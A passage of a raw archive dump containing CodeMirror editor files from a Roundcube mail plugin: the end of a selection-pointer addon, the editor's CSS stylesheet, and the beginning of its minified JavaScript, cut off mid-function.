    if (!cm.getWrapperElement().contains(event.relatedTarget)) {
      var data = cm.state.selectionPointer;
      data.mouseX = data.mouseY = null;
      scheduleUpdate(cm);
    }
  }

  function reset(cm) {
    cm.state.selectionPointer.rects = null;
    scheduleUpdate(cm);
  }

  function scheduleUpdate(cm) {
    if (!cm.state.selectionPointer.willUpdate) {
      cm.state.selectionPointer.willUpdate = true;
      setTimeout(function() {
        update(cm);
        cm.state.selectionPointer.willUpdate = false;
      }, 50);
    }
  }

  function update(cm) {
    var data = cm.state.selectionPointer;
    if (!data) return;
    if (data.rects == null && data.mouseX != null) {
      data.rects = [];
      if (cm.somethingSelected()) {
        for (var sel = cm.display.selectionDiv.firstChild; sel; sel = sel.nextSibling)
          data.rects.push(sel.getBoundingClientRect());
      }
    }
    var inside = false;
    if (data.mouseX != null) for (var i = 0; i < data.rects.length; i++) {
      var rect = data.rects[i];
      if (rect.left <= data.mouseX && rect.right >= data.mouseX &&
          rect.top <= data.mouseY && rect.bottom >= data.mouseY)
        inside = true;
    }
    var cursor = inside ? data.value : "";
    if (cm.display.lineDiv.style.cursor != cursor)
      cm.display.lineDiv.style.cursor = cursor;
  }
});
PKh�\ŰK�""1plugins/managesieve/codemirror/lib/codemirror.cssnu�[���/* BASICS */

.CodeMirror {
  /* Set height, width, borders, and global font properties here */
  font-family: monospace;
  height: 300px;
  color: black;
  direction: ltr;
}

/* PADDING */

.CodeMirror-lines {
  padding: 4px 0; /* Vertical padding around content */
}
.CodeMirror pre.CodeMirror-line,
.CodeMirror pre.CodeMirror-line-like {
  padding: 0 4px; /* Horizontal padding of content */
}

.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  background-color: white; /* The little square between H and V scrollbars */
}

/* GUTTER */

.CodeMirror-gutters {
  border-right: 1px solid #ddd;
  background-color: #f7f7f7;
  white-space: nowrap;
}
.CodeMirror-linenumbers {}
.CodeMirror-linenumber {
  padding: 0 3px 0 5px;
  min-width: 20px;
  text-align: right;
  color: #999;
  white-space: nowrap;
}

.CodeMirror-guttermarker { color: black; }
.CodeMirror-guttermarker-subtle { color: #999; }

/* CURSOR */

.CodeMirror-cursor {
  border-left: 1px solid black;
  border-right: none;
  width: 0;
}
/* Shown when moving in bi-directional text */
.CodeMirror div.CodeMirror-secondarycursor {
  border-left: 1px solid silver;
}
.cm-fat-cursor .CodeMirror-cursor {
  width: auto;
  border: 0 !important;
  background: #7e7;
}
.cm-fat-cursor div.CodeMirror-cursors {
  z-index: 1;
}
.cm-fat-cursor-mark {
  background-color: rgba(20, 255, 20, 0.5);
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
}
.cm-animate-fat-cursor {
  width: auto;
  border: 0;
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
  background-color: #7e7;
}
@-moz-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@-webkit-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}

/* Can style cursor different in overwrite (non-insert) mode */
.CodeMirror-overwrite .CodeMirror-cursor {}

.cm-tab { display: inline-block; text-decoration: inherit; }

.CodeMirror-rulers {
  position: absolute;
  left: 0; right: 0; top: -50px; bottom: 0;
  overflow: hidden;
}
.CodeMirror-ruler {
  border-left: 1px solid #ccc;
  top: 0; bottom: 0;
  position: absolute;
}

/* DEFAULT THEME */

.cm-s-default .cm-header {color: blue;}
.cm-s-default .cm-quote {color: #090;}
.cm-negative {color: #d44;}
.cm-positive {color: #292;}
.cm-header, .cm-strong {font-weight: bold;}
.cm-em {font-style: italic;}
.cm-link {text-decoration: underline;}
.cm-strikethrough {text-decoration: line-through;}

.cm-s-default .cm-keyword {color: #708;}
.cm-s-default .cm-atom {color: #219;}
.cm-s-default .cm-number {color: #164;}
.cm-s-default .cm-def {color: #00f;}
.cm-s-default .cm-variable,
.cm-s-default .cm-punctuation,
.cm-s-default .cm-property,
.cm-s-default .cm-operator {}
.cm-s-default .cm-variable-2 {color: #05a;}
.cm-s-default .cm-variable-3, .cm-s-default .cm-type {color: #085;}
.cm-s-default .cm-comment {color: #a50;}
.cm-s-default .cm-string {color: #a11;}
.cm-s-default .cm-string-2 {color: #f50;}
.cm-s-default .cm-meta {color: #555;}
.cm-s-default .cm-qualifier {color: #555;}
.cm-s-default .cm-builtin {color: #30a;}
.cm-s-default .cm-bracket {color: #997;}
.cm-s-default .cm-tag {color: #170;}
.cm-s-default .cm-attribute {color: #00c;}
.cm-s-default .cm-hr {color: #999;}
.cm-s-default .cm-link {color: #00c;}

.cm-s-default .cm-error {color: #f00;}
.cm-invalidchar {color: #f00;}

.CodeMirror-composing { border-bottom: 2px solid; }

/* Default styles for common addons */

div.CodeMirror span.CodeMirror-matchingbracket {color: #0b0;}
div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #a22;}
.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
.CodeMirror-activeline-background {background: #e8f2ff;}

/* STOP */

/* The rest of this file contains styles related to the mechanics of
   the editor. You probably shouldn't touch them. */

.CodeMirror {
  position: relative;
  overflow: hidden;
  background: white;
}

.CodeMirror-scroll {
  overflow: scroll !important; /* Things will break if this is overridden */
  /* 50px is the magic margin used to hide the element's real scrollbars */
  /* See overflow: hidden in .CodeMirror */
  margin-bottom: -50px; margin-right: -50px;
  padding-bottom: 50px;
  height: 100%;
  outline: none; /* Prevent dragging from highlighting the element */
  position: relative;
}
.CodeMirror-sizer {
  position: relative;
  border-right: 50px solid transparent;
}

/* The fake, visible scrollbars. Used to force redraw during scrolling
   before actual scrolling happens, thus preventing shaking and
   flickering artifacts. */
.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  position: absolute;
  z-index: 6;
  display: none;
  outline: none;
}
.CodeMirror-vscrollbar {
  right: 0; top: 0;
  overflow-x: hidden;
  overflow-y: scroll;
}
.CodeMirror-hscrollbar {
  bottom: 0; left: 0;
  overflow-y: hidden;
  overflow-x: scroll;
}
.CodeMirror-scrollbar-filler {
  right: 0; bottom: 0;
}
.CodeMirror-gutter-filler {
  left: 0; bottom: 0;
}

.CodeMirror-gutters {
  position: absolute; left: 0; top: 0;
  min-height: 100%;
  z-index: 3;
}
.CodeMirror-gutter {
  white-space: normal;
  height: 100%;
  display: inline-block;
  vertical-align: top;
  margin-bottom: -50px;
}
.CodeMirror-gutter-wrapper {
  position: absolute;
  z-index: 4;
  background: none !important;
  border: none !important;
}
.CodeMirror-gutter-background {
  position: absolute;
  top: 0; bottom: 0;
  z-index: 4;
}
.CodeMirror-gutter-elt {
  position: absolute;
  cursor: default;
  z-index: 4;
}
.CodeMirror-gutter-wrapper ::selection { background-color: transparent }
.CodeMirror-gutter-wrapper ::-moz-selection { background-color: transparent }

.CodeMirror-lines {
  cursor: text;
  min-height: 1px; /* prevents collapsing before first draw */
}
.CodeMirror pre.CodeMirror-line,
.CodeMirror pre.CodeMirror-line-like {
  /* Reset some styles that the rest of the page might have set */
  -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
  border-width: 0;
  background: transparent;
  font-family: inherit;
  font-size: inherit;
  margin: 0;
  white-space: pre;
  word-wrap: normal;
  line-height: inherit;
  color: inherit;
  z-index: 2;
  position: relative;
  overflow: visible;
  -webkit-tap-highlight-color: transparent;
  -webkit-font-variant-ligatures: contextual;
  font-variant-ligatures: contextual;
}
.CodeMirror-wrap pre.CodeMirror-line,
.CodeMirror-wrap pre.CodeMirror-line-like {
  word-wrap: break-word;
  white-space: pre-wrap;
  word-break: normal;
}

.CodeMirror-linebackground {
  position: absolute;
  left: 0; right: 0; top: 0; bottom: 0;
  z-index: 0;
}

.CodeMirror-linewidget {
  position: relative;
  z-index: 2;
  padding: 0.1px; /* Force widget margins to stay inside of the container */
}

.CodeMirror-widget {}

.CodeMirror-rtl pre { direction: rtl; }

.CodeMirror-code {
  outline: none;
}

/* Force content-box sizing for the elements where we expect it */
.CodeMirror-scroll,
.CodeMirror-sizer,
.CodeMirror-gutter,
.CodeMirror-gutters,
.CodeMirror-linenumber {
  -moz-box-sizing: content-box;
  box-sizing: content-box;
}

.CodeMirror-measure {
  position: absolute;
  width: 100%;
  height: 0;
  overflow: hidden;
  visibility: hidden;
}

.CodeMirror-cursor {
  position: absolute;
  pointer-events: none;
}
.CodeMirror-measure pre { position: static; }

div.CodeMirror-cursors {
  visibility: hidden;
  position: relative;
  z-index: 3;
}
div.CodeMirror-dragcursors {
  visibility: visible;
}

.CodeMirror-focused div.CodeMirror-cursors {
  visibility: visible;
}

.CodeMirror-selected { background: #d9d9d9; }
.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
.CodeMirror-crosshair { cursor: crosshair; }
.CodeMirror-line::selection, .CodeMirror-line > span::selection, .CodeMirror-line > span > span::selection { background: #d7d4f0; }
.CodeMirror-line::-moz-selection, .CodeMirror-line > span::-moz-selection, .CodeMirror-line > span > span::-moz-selection { background: #d7d4f0; }

.cm-searching {
  background-color: #ffa;
  background-color: rgba(255, 255, 0, .4);
}

/* Used to force a border model for a node */
.cm-force-border { padding-right: .1px; }

@media print {
  /* Hide the cursor when printing */
  .CodeMirror div.CodeMirror-cursors {
    visibility: hidden;
  }
}

/* See issue #2901 */
.cm-tab-wrap-hack:after { content: ''; }

/* Help users use markselection to safely style text background */
span.CodeMirror-selectedtext { background: none; }
PKh�\X���4plugins/managesieve/codemirror/lib/codemirror.min.jsnu�[���!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self).CodeMirror=t()}(this,function(){"use strict";var e=navigator.userAgent,s=navigator.platform,G=/gecko\/\d/i.test(e),t=/MSIE \d/.test(e),a=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(e),u=/Edge\/(\d+)/.exec(e),w=t||a||u,v=w&&(t?document.documentMode||6:+(u||a)[1]),x=!u&&/WebKit\//.test(e),t=x&&/Qt\/\d+\.\d+/.test(e),c=!u&&/Chrome\//.test(e),U=/Opera\//.test(e),V=/Apple Computer/.test(navigator.vendor),d=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(e),K=/PhantomJS/.test(e),j=!u&&/AppleWebKit/.test(e)&&/Mobile\/\w+/.test(e),X=/Android/.test(e),Y=j||X||/webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(e),C=j||/Mac/.test(s),_=/\bCrOS\b/.test(e),a=/win/i.test(s),u=U&&e.match(/Version\/(\d*\.\d*)/),$=((u=u&&Number(u[1]))&&15<=u&&(x=!(U=!1)),C&&(t||U&&(null==u||u<12.11))),q=G||w&&9<=v;function Z(e){return new RegExp("(^|\\s)"+e+"(?:$|\\s)\\s*")}var Q=function(e,t){var n,r=e.className,t=Z(t).exec(r);t&&(n=r.slice(t.index+t[0].length),e.className=r.slice(0,t.index)+(n?t[1]+n:""))};function J(e){for(var t=e.childNodes.length;0<t;--t)e.removeChild(e.firstChild);return e}function y(e,t){return J(e).appendChild(t)}function M(e,t,n,r){var i=document.createElement(e);if(n&&(i.className=n),r&&(i.style.cssText=r),"string"==typeof t)i.appendChild(document.createTextNode(t));else if(t)for(var o=0;o<t.length;++o)i.appendChild(t[o]);return i}function ee(e,t,n,r){e=M(e,t,n,r);return e.setAttribute("role","presentation"),e}function te(e,t){if(3==t.nodeType&&(t=t.parentNode),e.contains)return e.contains(t);do{if((t=11==t.nodeType?t.host:t)==e)return!0}while(t=t.parentNode)}function ne(){var t;try{t=document.activeElement}catch(e){t=document.body||null}for(;t&&t.shadowRoot&&t.shadowRoot.activeElement;)t=t.shadowRoot.activeElement;return t}function re(e,t){var n=e.className;Z(t).test(n)||(e.className+=(n?" ":"")+t)}function ie(e,t){for(var n=e.split(" "),r=0;r<n.length;r++)n[r]&&!Z(n[r]).test(t)&&(t+=" "+n[r]);return t}var oe=document.createRange?function(e,t,n,r){var i=document.createRange();return i.setEnd(r||e,n),i.setStart(e,t),i}:function(e,t,n){var r=document.body.createTextRange();try{r.moveToElementText(e.parentNode)}catch(e){return r}return r.collapse(!0),r.moveEnd("character",n),r.moveStart("character",t),r},le=function(e){e.select()};function se(e){var t=Array.prototype.slice.call(arguments,1);return function(){return e.apply(null,t)}}function ae(e,t,n){for(var r in t=t||{},e)!e.hasOwnProperty(r)||!1===n&&t.hasOwnProperty(r)||(t[r]=e[r]);return t}function ue(e,t,n,r,i){null==t&&-1==(t=e.search(/[^\s\u00a0]/))&&(t=e.length);for(var o=r||0,l=i||0;;){var s=e.indexOf("\t",o);if(s<0||t<=s)return l+(t-o);l=(l+=s-o)+(n-l%n),o=s+1}}j?le=function(e){e.selectionStart=0,e.selectionEnd=e.value.length}:w&&(le=function(e){try{e.select()}catch(e){}});function ce(){this.id=null,this.f=null,this.time=0,this.handler=se(this.onTimeout,this)}function S(e,t){for(var n=0;n<e.length;++n)if(e[n]==t)return n;return-1}ce.prototype.onTimeout=function(e){e.id=0,e.time<=+new Date?e.f():setTimeout(e.handler,e.time-+new Date)};var he=50,de={toString:function(){return"CodeMirror.Pass"}},fe={scroll:!(ce.prototype.set=function(e,t){this.f=t;t=+new Date+e;(!this.id||t<this.time)&&(clearTimeout(this.id),this.id=setTimeout(this.handler,e),this.time=t)})},pe={origin:"*mouse"},ge={origin:"+move"};function me(e,t,n){for(var r=0,i=0;;){var o=e.indexOf("\t",r),l=(o=-1==o?e.length:o)-r;if(o==e.length||t<=i+l)return r+Math.min(l,t-i);if(i+=o-r,r=o+1,t<=(i+=n-i%n))return r}}var ve=[""];function ye(e){for(;ve.length<=e;)ve.push(z(ve)+" ");return ve[e]}function z(e){return e[e.length-1]}function be(e,t){for(var n=[],r=0;r<e.length;r++)n[r]=t(e[r],r);return n}function we(){}function xe(e,t){e=Object.create?Object.create(e):(we.prototype=e,new we);return t&&ae(t,e),e}var Ce=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;function Se(e){return/\w/.test(e)||"€"<e&&(e.toUpperCase()!=e.toLowerCase()||Ce.test(e))}function Le(e,t){return t?!!(-1<t.source.indexOf("\\w")&&Se(e))||t.test(e):Se(e)}function ke(e){for(var t in e)if(e.hasOwnProperty(t)&&e[t])return;return 1}var Te=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;function Me(e){return 768<=e.charCodeAt(0)&&Te.test(e)}function Ne(e,t,n){for(;(n<0?0<t:t<e.length)&&Me(e.charAt(t));)t+=n;return t}function Oe(e,t,n){for(var r=n<t?-1:1;;){if(t==n)return t;var i=(t+n)/2,i=r<0?Math.ceil(i):Math.floor(i);if(i==t)return e(i)?t:n;e(i)?n=i:t=i+r}}var Ae=null;function De(e,t,n){var r;Ae=null;for(var i=0;i<e.length;++i){var o=e[i];if(o.from<t&&o.to>t)return i;o.to==t&&(o.from!=o.to&&"before"==n?r=i:Ae=i),o.from==t&&(o.from!=o.to&&"before"!=n?r=i:Ae=i)}return null!=r?r:Ae}We=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,He=/[stwN]/,Fe=/[LRr]/,Ee=/[Lb1n]/,Pe=/[1n]/;var We,He,Fe,Ee,Pe,Ie=function(e,t){var n="ltr"==t?"L":"R";if(0==e.length||"ltr"==t&&!We.test(e))return!1;for(var r,i=e.length,o=[],l=0;l<i;++l)o.push((r=e.charCodeAt(l))<=247?"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN".charAt(r):1424<=r&&r<=1524?"R":1536<=r&&r<=1785?"nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111".charAt(r-1536):1774<=r&&r<=2220?"r":8192<=r&&r<=8203?"w":8204==r?"b":"L");for(var s=0,a=n;s<i;++s){var u=o[s];"m"==u?o[s]=a:a=u}for(var c=0,h=n;c<i;++c){var d=o[c];"1"==d&&"r"==h?o[c]="n":Fe.test(d)&&"r"==(h=d)&&(o[c]="R")}for(var f=1,p=o[0];f<i-1;++f){var g=o[f];"+"==g&&"1"==p&&"1"==o[f+1]?o[f]="1":","!=g||p!=o[f+1]||"1"!=p&&"n"!=p||(o[f]=p),p=g}for(var m=0;m<i;++m){var v=o[m];if(","==v)o[m]="N";else if("%"==v){for(var y=void 0,y=m+1;y<i&&"%"==o[y];++y);for(var b=m&&"!"==o[m-1]||y<i&&"1"==o[y]?"1":"N",w=m;w<y;++w)o[w]=b;m=y-1}}for(var x=0,C=n;x<i;++x){var S=o[x];"L"==C&&"1"==S?o[x]="L":Fe.test(S)&&(C=S)}for(var L=0;L<i;++L)if(He.test(o[L])){for(var k=void 0,k=L+1;k<i&&He.test(o[k]);++k);for(var T="L"==(L?o[L-1]:n),M=T==("L"==(k<i?o[k]:n))?T?"L":"R":n,N=L;N<k;++N)o[N]=M;L=k-1}for(var O,A=[],D=0;D<i;)if(Ee.test(o[D])){var P=D;for(++D;D<i&&Ee.test(o[D]);++D);A.push(new ze(0,P,D))}else{var W=D,H=A.length,F="rtl"==t?1:0;for(++D;D<i&&"L"!=o[D];++D);for(var E=W;E<D;)if(Pe.test(o[E])){W<E&&(A.splice(H,0,new ze(1,W,E)),H+=F);var I=E;for(++E;E<D&&Pe.test(o[E]);++E);A.splice(H,0,new ze(2,I,E)),H+=F,W=E}else++E;W<D&&A.splice(H,0,new ze(1,W,D))}return"ltr"==t&&(1==A[0].level&&(O=e.match(/^\s+/))&&(A[0].from=O[0].length,A.unshift(new ze(0,0,O[0].length))),1==z(A).level)&&(O=e.match(/\s+$/))&&(z(A).to-=O[0].length,A.push(new ze(0,i-O[0].length,i))),"rtl"==t?A.reverse():A};function ze(e,t,n){this.level=e,this.from=t,this.to=n}function Re(e,t){var n=e.order;return n=null==n?e.order=Ie(e.text,t):n}var Be=[],L=function(e,t,n){e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent?e.attachEvent("on"+t,n):(e=e._handlers||(e._handlers={}))[t]=(e[t]||Be).concat(n)};function Ge(e,t){return e._handlers&&e._handlers[t]||Be}function k(e,t,n){var r;e.removeEventListener?e.removeEventListener(t,n,!1):e.detachEvent?e.detachEvent("on"+t,n):(r=(e=e._handlers)&&e[t])&&-1<(n=S(r,n))&&(e[t]=r.slice(0,n).concat(r.slice(n+1)))}function N(e,t){var n=Ge(e,t);if(n.length)for(var r=Array.prototype.slice.call(arguments,2),i=0;i<n.length;++i)n[i].apply(null,r)}function O(e,t,n){return"string"==typeof t&&(t={type:t,preventDefault:function(){this.defaultPrevented=!0}}),N(e,n||t.type,e,t),Xe(t)||t.codemirrorIgnore}function Ue(e){var t=e._handlers&&e._handlers.cursorActivity;if(t)for(var n=e.curOp.cursorActivityHandlers||(e.curOp.cursorActivityHandlers=[]),r=0;r<t.length;++r)-1==S(n,t[r])&&n.push(t[r])}function Ve(e,t){return 0<Ge(e,t).length}function Ke(e){e.prototype.on=function(e,t){L(this,e,t)},e.prototype.off=function(e,t){k(this,e,t)}}function T(e){e.preventDefault?e.preventDefault():e.returnValue=!1}function je(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0}function Xe(e){return null!=e.defaultPrevented?e.defaultPrevented:0==e.returnValue}function Ye(e){T(e),je(e)}function _e(e){return e.target||e.srcElement}function $e(e){var t=e.which;return null==t&&(1&e.button?t=1:2&e.button?t=3:4&e.button&&(t=2)),t=C&&e.ctrlKey&&1==t?3:t}var qe,Ze,Qe=!(w&&v<9)&&("draggable"in(s=M("div"))||"dragDrop"in s);var Je=3!="\n\nb".split(/\n/).length?function(e){for(var t=0,n=[],r=e.length;t<=r;){var i=e.indexOf("\n",t),o=(-1==i&&(i=e.length),e.slice(t,"\r"==e.charAt(i-1)?i-1:i)),l=o.indexOf("\r");-1!=l?(n.push(o.slice(0,l)),t+=l+1):(n.push(o),t=i+1)}return n}:function(e){return e.split(/\r\n?|\n/)},et=window.getSelection?function(e){try{return e.selectionStart!=e.selectionEnd}catch(e){return!1}}:function(e){var t;try{t=e.ownerDocument.selection.createRange()}catch(e){}return!(!t||t.parentElement()!=e)&&0!=t.compareEndPoints("StartToEnd",t)},tt="oncopy"in(e=M("div"))||(e.setAttribute("oncopy","return;"),"function"==typeof e.oncopy),nt=null;var rt={},it={};function ot(e){if("string"==typeof e&&it.hasOwnProperty(e))e=it[e];else if(e&&"string"==typeof e.name&&it.hasOwnProperty(e.name)){var t=it[e.name];(e=xe(t="string"==typeof t?{name:t}:t,e)).name=t.name}else{if("string"==typeof e&&/^[\w\-]+\/[\w\-]+\+xml$/.test(e))return ot("application/xml");if("string"==typeof e&&/^[\w\-]+\/[\w\-]+\+json$/.test(e))return ot("application/json")}return"string"==typeof e?{name:e}:e||{name:"null"}}function lt(e,t){t=ot(t);var n=rt[t.name];if(!n)return lt(e,"text/plain");var r=n(e,t);if(st.hasOwnProperty(t.name)){var i,o=st[t.name];for(i in o)o.hasOwnProperty(i)&&(r.hasOwnProperty(i)&&(r["_"+i]=r[i]),r[i]=o[i])}if(r.name=t.name,t.helperType&&(r.helperType=t.helperType),t.modeProps)for(var l in t.modeProps)r[l]=t.modeProps[l];return r}var st={};function at(e,t){ae(t,st.hasOwnProperty(e)?st[e]:st[e]={})}function ut(e,t){if(!0===t)return t;if(e.copyState)return e.copyState(t);var n,r={};for(n in t){var i=t[n];i instanceof Array&&(i=i.concat([])),r[n]=i}return r}function ct(e,t){for(var n;e.innerMode&&(n=e.innerMode(t))&&n.mode!=e;)t=n.state,e=n.mode;return n||{mode:e,state:t}}function ht(e,t,n){return!e.startState||e.startState(t,n)}var g=function(e,t,n){this.pos=this.start=0,this.string=e,this.tabSize=t||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0,this.lineOracle=n};function A(e,t){if((t-=e.first)<0||t>=e.size)throw new Error("There is no line "+(t+e.first)+" in the document.");for(var n=e;!n.lines;)for(var r=0;;++r){var i=n.children[r],o=i.chunkSize();if(t<o){n=i;break}t-=o}return n.lines[t]}function dt(e,t,n){var r=[],i=t.line;return e.iter(t.line,n.line+1,function(e){e=e.text;i==n.line&&(e=e.slice(0,n.ch)),i==t.line&&(e=e.slice(t.ch)),r.push(e),++i}),r}function ft(e,t,n){var r=[];return e.iter(t,n,function(e){r.push(e.text)}),r}function pt(e,t){var n=t-e.height;if(n)for(var r=e;r;r=r.parent)r.height+=n}function D(e){if(null==e.parent)return null;for(var t=e.parent,n=S(t.lines,e),r=t.parent;r;r=(t=r).parent)for(var i=0;r.children[i]!=t;++i)n+=r.children[i].chunkSize();return n+t.first}function gt(e,t){var n=e.first;e:do{for(var r=0;r<e.children.length;++r){var i=e.children[r],o=i.height;if(t<o){e=i;continue e}t-=o,n+=i.chunkSize()}return n}while(!e.lines);for(var l=0;l<e.lines.length;++l){var s=e.lines[l].height;if(t<s)break;t-=s}return n+l}function mt(e,t){return t>=e.first&&t<e.first+e.size}function vt(e,t){return String(e.lineNumberFormatter(t+e.firstLineNumber))}function W(e,t,n){if(void 0===n&&(n=null),!(this instanceof W))return new W(e,t,n);this.line=e,this.ch=t,this.sticky=n}function H(e,t){return e.line-t.line||e.ch-t.ch}function yt(e,t){return e.sticky==t.sticky&&0==H(e,t)}function bt(e){return W(e.line,e.ch)}function wt(e,t){return H(e,t)<0?t:e}function xt(e,t){return H(e,t)<0?e:t}function Ct(e,t){return Math.max(e.first,Math.min(t,e.first+e.size-1))}function F(e,t){var n;return t.line<e.first?W(e.first,0):(n=e.first+e.size-1,t.line>n?W(n,A(e,n).text.length):(e=A(e,(n=t).line).text.length,null==(t=n.ch)||e<t?W(n.line,e):t<0?W(n.line,0):n))}function St(e,t){for(var n=[],r=0;r<t.length;r++)n[r]=F(e,t[r]);return n}g.prototype.eol=function(){return this.pos>=this.string.length},g.prototype.sol=function(){return this.pos==this.lineStart},g.prototype.peek=function(){return this.string.charAt(this.pos)||void 0},g.prototype.next=function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},g.prototype.eat=function(e){var t=this.string.charAt(this.pos),e="string"==typeof e?t==e:t&&(e.test?e.test(t):e(t));if(e)return++this.pos,t},g.prototype.eatWhile=function(e){for(var t=this.pos;this.eat(e););return this.pos>t},g.prototype.eatSpace=function(){for(var e=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>e},g.prototype.skipToEnd=function(){this.pos=this.string.length},g.prototype.skipTo=function(e){e=this.string.indexOf(e,this.pos);if(-1<e)return this.pos=e,!0},g.prototype.backUp=function(e){this.pos-=e},g.prototype.column=function(){return this.lastColumnPos<this.start&&(this.lastColumnValue=ue(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?ue(this.string,this.lineStart,this.tabSize):0)},g.prototype.indentation=function(){return ue(this.string,null,this.tabSize)-(this.lineStart?ue(this.string,this.lineStart,this.tabSize):0)},g.prototype.match=function(e,t,n){var r;return"string"!=typeof e?(r=this.string.slice(this.pos).match(e))&&0<r.index?null:(r&&!1!==t&&(this.pos+=r[0].length),r):(r=function(e){return n?e.toLowerCase():e})(this.string.substr(this.pos,e.length))==r(e)?(!1!==t&&(this.pos+=e.length),!0):void 0},g.prototype.current=function(){return this.string.slice(this.start,this.pos)},g.prototype.hideFirstChars=function(e,t){this.lineStart+=e;try{return t()}finally{this.lineStart-=e}},g.prototype.lookAhead=function(e){var t=this.lineOracle;return t&&t.lookAhead(e)},g.prototype.baseToken=function(){var e=this.lineOracle;return e&&e.baseToken(this.pos)};function 